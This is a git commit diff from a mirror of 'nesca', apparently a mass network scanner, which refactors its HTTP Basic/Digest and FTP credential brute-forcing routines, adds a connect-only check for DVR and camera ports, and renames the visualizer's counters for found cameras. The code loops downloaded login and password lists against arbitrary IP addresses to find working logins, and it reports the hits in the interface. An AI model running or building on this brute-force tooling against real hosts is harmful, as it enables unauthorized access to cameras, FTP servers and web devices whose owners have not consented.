mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
Shuffle visualizer
This commit is contained in:
parent
68bfe1800c
commit
36f908a204
@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
|||||||
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
|
|
||||||
|
|
||||||
Sleep(30000);
|
Sleep(30000);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
lopaStr BA::BABrute(const char *ip, const int port) {
|
||||||
|
bool digestMode = true;
|
||||||
string lpString;
|
string lpString;
|
||||||
lopaStr lps = {"UNKNOWN", "", ""};
|
lopaStr lps = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int res = 0;
|
int res = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
std::string buff;
|
std::string buff;
|
||||||
Connector con;
|
Connector con;
|
||||||
Sleep(1000);
|
|
||||||
con.nConnect(ip, port, &buff);
|
con.nConnect(ip, port, &buff);
|
||||||
int isDig = Utils::isDigest(&buff);
|
int isDig = Utils::isDigest(&buff);
|
||||||
|
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
|
||||||
if (isDig == -1) {
|
if (isDig == -1) {
|
||||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + "/\">" +
|
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
|
||||||
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
ipString + "</a></span>");
|
||||||
strcpy(lps.login, "");
|
strcpy(lps.login, "");
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
else if (isDig == 1) {
|
else if (isDig == 1) digestMode = true;
|
||||||
if (digestMode != true) {
|
else digestMode = false;
|
||||||
digestMode = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if (digestMode != false) {
|
|
||||||
digestMode = false;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
|
|
||||||
@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
res = checkOutput(&buffer, ip, port);
|
res = checkOutput(&buffer, ip, port);
|
||||||
if (res == -2) {
|
if (res == -2) {
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "404");
|
||||||
|
}
|
||||||
strcpy(lps.other, "404");
|
strcpy(lps.other, "404");
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (res == 1) {
|
if (res == 1) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
strcpy(lps.login, loginLst[i]);
|
strcpy(lps.login, loginLst[i]);
|
||||||
strcpy(lps.pass, passLst[j]);
|
strcpy(lps.pass, passLst[j]);
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||||
|
QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||||
Sleep(100);
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
|
lopaStr BA::BALobby(const char *ip, const int port) {
|
||||||
if(gMaxBrutingThreads > 0) {
|
if(gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
++baCount;
|
++baCount;
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
const lopaStr &lps = BABrute(ip, port, digestMode);
|
const lopaStr &lps = BABrute(ip, port);
|
||||||
--BrutingThrds;
|
--BrutingThrds;
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
|
@ -8,11 +8,11 @@
|
|||||||
|
|
||||||
class BA {
|
class BA {
|
||||||
private:
|
private:
|
||||||
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
|
static lopaStr BABrute(const char *ip, const int port);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
static int checkOutput(const string *buffer, const char *ip, const int port);
|
static int checkOutput(const string *buffer, const char *ip, const int port);
|
||||||
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
|
static lopaStr BALobby(const char *ip, const int port);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // BASICAUTH_H
|
#endif // BASICAUTH_H
|
||||||
|
@ -2,7 +2,6 @@
|
|||||||
#include "SSHAuth.h"
|
#include "SSHAuth.h"
|
||||||
#include "Filter.h"
|
#include "Filter.h"
|
||||||
|
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
int _pingMyTarget(const char *ip)
|
int _pingMyTarget(const char *ip)
|
||||||
{
|
{
|
||||||
@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
else res = curl_easy_perform(curl);
|
else res = curl_easy_perform(curl);
|
||||||
|
|
||||||
int sz = buffer->size();
|
int sz = buffer->size();
|
||||||
|
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
if (res == CURLE_OK || (port == 21 && sz > 0)) {
|
if (res == CURLE_OK || (port == 21 && sz > 0)) {
|
||||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
Activity += sz;
|
Activity += sz;
|
||||||
|
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
return sz;
|
return sz;
|
||||||
} else {
|
} else {
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
if (res == 6) return -2;
|
if (res == 6) return -2;
|
||||||
if (res == 56 && port == 8000) return 1; //Hikvision
|
|
||||||
else if (res != 28 &&
|
else if (res != 28 &&
|
||||||
res != 7 &&
|
res != 7 &&
|
||||||
res != 13 &&
|
res != 13 &&
|
||||||
@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
res != 23)
|
res != 23)
|
||||||
{
|
{
|
||||||
if (res == 5) {
|
if (res == 5) {
|
||||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
|
||||||
return -2;
|
return -2;
|
||||||
} else if (res == 8) {
|
} else if (res == 8) {
|
||||||
stt->doEmitionFoundData("Strange ftp reply. (" +
|
stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||||
@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool portCheck(const char * sDVRIP, int wDVRPort) {
|
||||||
|
CURL *curl = curl_easy_init();
|
||||||
|
if (curl != NULL) {
|
||||||
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
|
||||||
|
int proxyPort = std::atoi(gProxyPort);
|
||||||
|
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
|
||||||
|
|
||||||
|
int res = curl_easy_perform(curl);
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
|
if (res != CURLE_OK) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
int Connector::connectToPort(char* ip, int port)
|
int Connector::connectToPort(char* ip, int port)
|
||||||
{
|
{
|
||||||
if(gPingNScan)
|
if(gPingNScan)
|
||||||
@ -261,6 +280,7 @@ int Connector::connectToPort(char* ip, int port)
|
|||||||
std::string buffer;
|
std::string buffer;
|
||||||
int size = 0;
|
int size = 0;
|
||||||
|
|
||||||
|
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
|
||||||
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
||||||
else size = nConnect(ip, port, &buffer);
|
else size = nConnect(ip, port, &buffer);
|
||||||
|
|
||||||
@ -272,5 +292,13 @@ int Connector::connectToPort(char* ip, int port)
|
|||||||
lx.filler(ip, port, &buffer, size, &lx);
|
lx.filler(ip, port, &buffer, size, &lx);
|
||||||
}
|
}
|
||||||
else if (size == -2) return -2;
|
else if (size == -2) return -2;
|
||||||
|
} else {
|
||||||
|
if (portCheck(ip, port)) {
|
||||||
|
++Alive;//ME2
|
||||||
|
++found;//PieStat
|
||||||
|
Lexems lx;
|
||||||
|
lx.filler(ip, port, &buffer, size, &lx);
|
||||||
|
};
|
||||||
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
26
Connector.h
26
Connector.h
@ -10,6 +10,27 @@
|
|||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
#pragma comment(lib,"curllib.lib")
|
#pragma comment(lib,"curllib.lib")
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#include <openssl/err.h>
|
||||||
|
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
#define MUTEX_TYPE HANDLE
|
||||||
|
#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
|
||||||
|
#define MUTEX_CLEANUP(x) CloseHandle(x)
|
||||||
|
#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
|
||||||
|
#define MUTEX_UNLOCK(x) ReleaseMutex(x)
|
||||||
|
#define THREAD_ID GetCurrentThreadId()
|
||||||
|
#else
|
||||||
|
#include <pthread.h>
|
||||||
|
#define MUTEX_TYPE pthread_mutex_t
|
||||||
|
#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
|
||||||
|
#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
|
||||||
|
#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
|
||||||
|
#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
|
||||||
|
#define THREAD_ID pthread_self()
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
class Connector {
|
class Connector {
|
||||||
|
|
||||||
public:
|
public:
|
||||||
@ -18,11 +39,6 @@ public:
|
|||||||
const std::vector<std::string> *customHeaders = NULL,
|
const std::vector<std::string> *customHeaders = NULL,
|
||||||
const std::string *lpString = NULL,
|
const std::string *lpString = NULL,
|
||||||
bool digestMode = false);
|
bool digestMode = false);
|
||||||
//static int nConnect2(const char* ip, const int port, std::string *buffer,
|
|
||||||
// const char *postData = NULL,
|
|
||||||
// const std::vector<std::string> *customHeaders = NULL,
|
|
||||||
// const std::string *lpString = NULL,
|
|
||||||
// bool digestMode = false);
|
|
||||||
int connectToPort(char *ip, int port);
|
int connectToPort(char *ip, int port);
|
||||||
};
|
};
|
||||||
#endif // CONNECTOR_H
|
#endif // CONNECTOR_H
|
||||||
|
@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
|
|||||||
xtx = x + tx;
|
xtx = x + tx;
|
||||||
if(xtx > 1 && xtx < 31)
|
if(xtx > 1 && xtx < 31)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
|
||||||
if(AnomC1 > 0)
|
if (camerasC1 > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 16 ) fact1+=2;
|
if(xtx < 16 ) fact1+=2;
|
||||||
else fact1-=2;
|
else fact1-=2;
|
||||||
@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)
|
|||||||
|
|
||||||
if(xtx > 34 && xtx < 72)
|
if(xtx > 34 && xtx < 72)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
|
||||||
|
|
||||||
if(WF > 0)
|
if(/*WF*/0 > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 52 ) fact2+=2;
|
if(xtx < 52 ) fact2+=2;
|
||||||
else fact2-=2;
|
else fact2-=2;
|
||||||
@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)
|
|||||||
|
|
||||||
if(xtx > 114 && xtx < 152)
|
if(xtx > 114 && xtx < 152)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
|
||||||
|
|
||||||
if(Susp > 0)
|
if (other > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 132 ) fact4+=2;
|
if(xtx < 132 ) fact4+=2;
|
||||||
else fact4-=2;
|
else fact4-=2;
|
||||||
@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)
|
|||||||
|
|
||||||
if(xtx > 194 && xtx < 232)
|
if(xtx > 194 && xtx < 232)
|
||||||
{
|
{
|
||||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
|
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
|
||||||
|
|
||||||
if(Lowl > 0)
|
if(/*Lowl*/0 > 0)
|
||||||
{
|
{
|
||||||
if(xtx < 212 ) fact6+=2;
|
if(xtx < 212 ) fact6+=2;
|
||||||
else fact6-=2;
|
else fact6-=2;
|
||||||
@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
|
|||||||
tx = x;
|
tx = x;
|
||||||
};
|
};
|
||||||
|
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
|
|
||||||
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
|
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
|
||||||
return DrawerTh_ME2Scanner::polyVect.size();
|
return DrawerTh_ME2Scanner::polyVect.size();
|
||||||
@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
msleep(1000);
|
msleep(1000);
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
};
|
};
|
||||||
msleep(100);
|
msleep(100);
|
||||||
};
|
};
|
||||||
|
@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run()
|
|||||||
{
|
{
|
||||||
lstOfLabels.clear();
|
lstOfLabels.clear();
|
||||||
lstOfLabels.append(Alive);
|
lstOfLabels.append(Alive);
|
||||||
lstOfLabels.append(AnomC1);
|
lstOfLabels.append(camerasC1);
|
||||||
lstOfLabels.append(WF);
|
//lstOfLabels.append(WF);
|
||||||
lstOfLabels.append(Susp);
|
lstOfLabels.append(other);
|
||||||
lstOfLabels.append(Lowl);
|
//lstOfLabels.append(Lowl);
|
||||||
lstOfLabels.append(baCount);
|
lstOfLabels.append(baCount);
|
||||||
lstOfLabels.append(Overl);
|
lstOfLabels.append(Overl);
|
||||||
lstOfLabels.append(ssh);
|
lstOfLabels.append(ssh);
|
||||||
@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run()
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
msleep(500);
|
msleep(500);
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
msleep(2000);
|
msleep(2000);
|
||||||
};
|
};
|
||||||
|
@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run()
|
|||||||
{
|
{
|
||||||
if(widgetIsHidden == false && tray->isVisible() == false)
|
if(widgetIsHidden == false && tray->isVisible() == false)
|
||||||
{
|
{
|
||||||
makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh);
|
makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh);
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
|
|
||||||
vsTh->doEmitAddLine();
|
vsTh->doEmitAddLine();
|
||||||
@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run()
|
|||||||
{
|
{
|
||||||
msleep(500);
|
msleep(500);
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
61
FTPAuth.cpp
61
FTPAuth.cpp
@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
|
|
||||||
int res = 0;
|
int res = 0;
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
char login[128] = {0};
|
char login[128] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
char nip[128] = { 0 };
|
char nip[128] = { 0 };
|
||||||
|
|
||||||
for(int i = 0; i < MaxLogin; ++i)
|
for (int i = 0; i < MaxFTPLogin; ++i)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) return lps;
|
if(!globalScanFlag) return lps;
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if(strlen(loginLst[i]) <= 1) continue;
|
strcpy(login, ftpLoginLst[i]);
|
||||||
|
if (strlen(login) <= 1) continue;
|
||||||
|
|
||||||
strcpy(login, loginLst[i]);
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxPass; ++j)
|
for (int j = 0; j < MaxFTPPass; ++j)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) return lps;
|
if(!globalScanFlag) return lps;
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if(strlen(passLst[j]) <= 1) continue;
|
strcpy(pass, ftpPassLst[j]);
|
||||||
|
if (strlen(pass) <= 1) continue;
|
||||||
strcpy(pass, passLst[j]);
|
|
||||||
|
|
||||||
lpString = string(login) + ":" + string(pass);
|
lpString = string(login) + ":" + string(pass);
|
||||||
|
|
||||||
@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
sprintf(nip, "ftp://%s", ip);
|
sprintf(nip, "ftp://%s", ip);
|
||||||
Connector con;
|
Connector con;
|
||||||
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||||
if (res == -2) return lps;
|
if (res == -2) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
strcpy(lps.login, login);
|
strcpy(lps.login, login);
|
||||||
strcpy(lps.pass, pass);
|
strcpy(lps.pass, pass);
|
||||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
Sleep(100);
|
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
|
|||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
++baCount;
|
++baCount;
|
||||||
//BruteUtils::BConInc();
|
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
const lopaStr &lps = FTPBrute(ip, port, ps);
|
const lopaStr &lps = FTPBrute(ip, port, ps);
|
||||||
--BrutingThrds;
|
--BrutingThrds;
|
||||||
//BruteUtils::BConDec();
|
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
} else {
|
} else {
|
||||||
lopaStr lps = {"UNKNOWN", "", ""};;
|
lopaStr lps = {"UNKNOWN", "", ""};
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) {
|
|||||||
|
|
||||||
void FileDownloader::checkWebFiles() {
|
void FileDownloader::checkWebFiles() {
|
||||||
while (true) {
|
while (true) {
|
||||||
checkWeb("negatives.txt", &lastModifiedNeg);
|
checkWeb(NEGATIVE_FN, &lastModifiedNeg);
|
||||||
checkWeb("login.txt", &lastModifiedL);
|
checkWeb(LOGIN_FN, &lastModifiedL);
|
||||||
checkWeb("pass.txt", &lastModifiedP);
|
checkWeb(PASS_FN, &lastModifiedP);
|
||||||
checkWeb("sshpass.txt", &lastModifiedSSH);
|
checkWeb(SSH_PASS_FN, &lastModifiedSSH);
|
||||||
checkWeb("wflogin.txt", &lastModifiedWFL);
|
checkWeb(WF_LOGIN_FN, &lastModifiedWFL);
|
||||||
checkWeb("wfpass.txt", &lastModifiedWFP);
|
checkWeb(WF_PASS_FN, &lastModifiedWFP);
|
||||||
Sleep(600000);
|
Sleep(600000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
132
FileUpdater.cpp
132
FileUpdater.cpp
@ -3,6 +3,11 @@
|
|||||||
#include "STh.h"
|
#include "STh.h"
|
||||||
#include "mainResources.h"
|
#include "mainResources.h"
|
||||||
|
|
||||||
|
char **loginLst, **passLst;
|
||||||
|
char **wfLoginLst, **wfPassLst;
|
||||||
|
char **ftpLoginLst, **ftpPassLst;
|
||||||
|
char **sshlpLst;
|
||||||
|
|
||||||
bool FileUpdater::running = false;
|
bool FileUpdater::running = false;
|
||||||
long FileUpdater::oldNegLstSize = 0;
|
long FileUpdater::oldNegLstSize = 0;
|
||||||
long FileUpdater::oldLoginLstSize = 0;
|
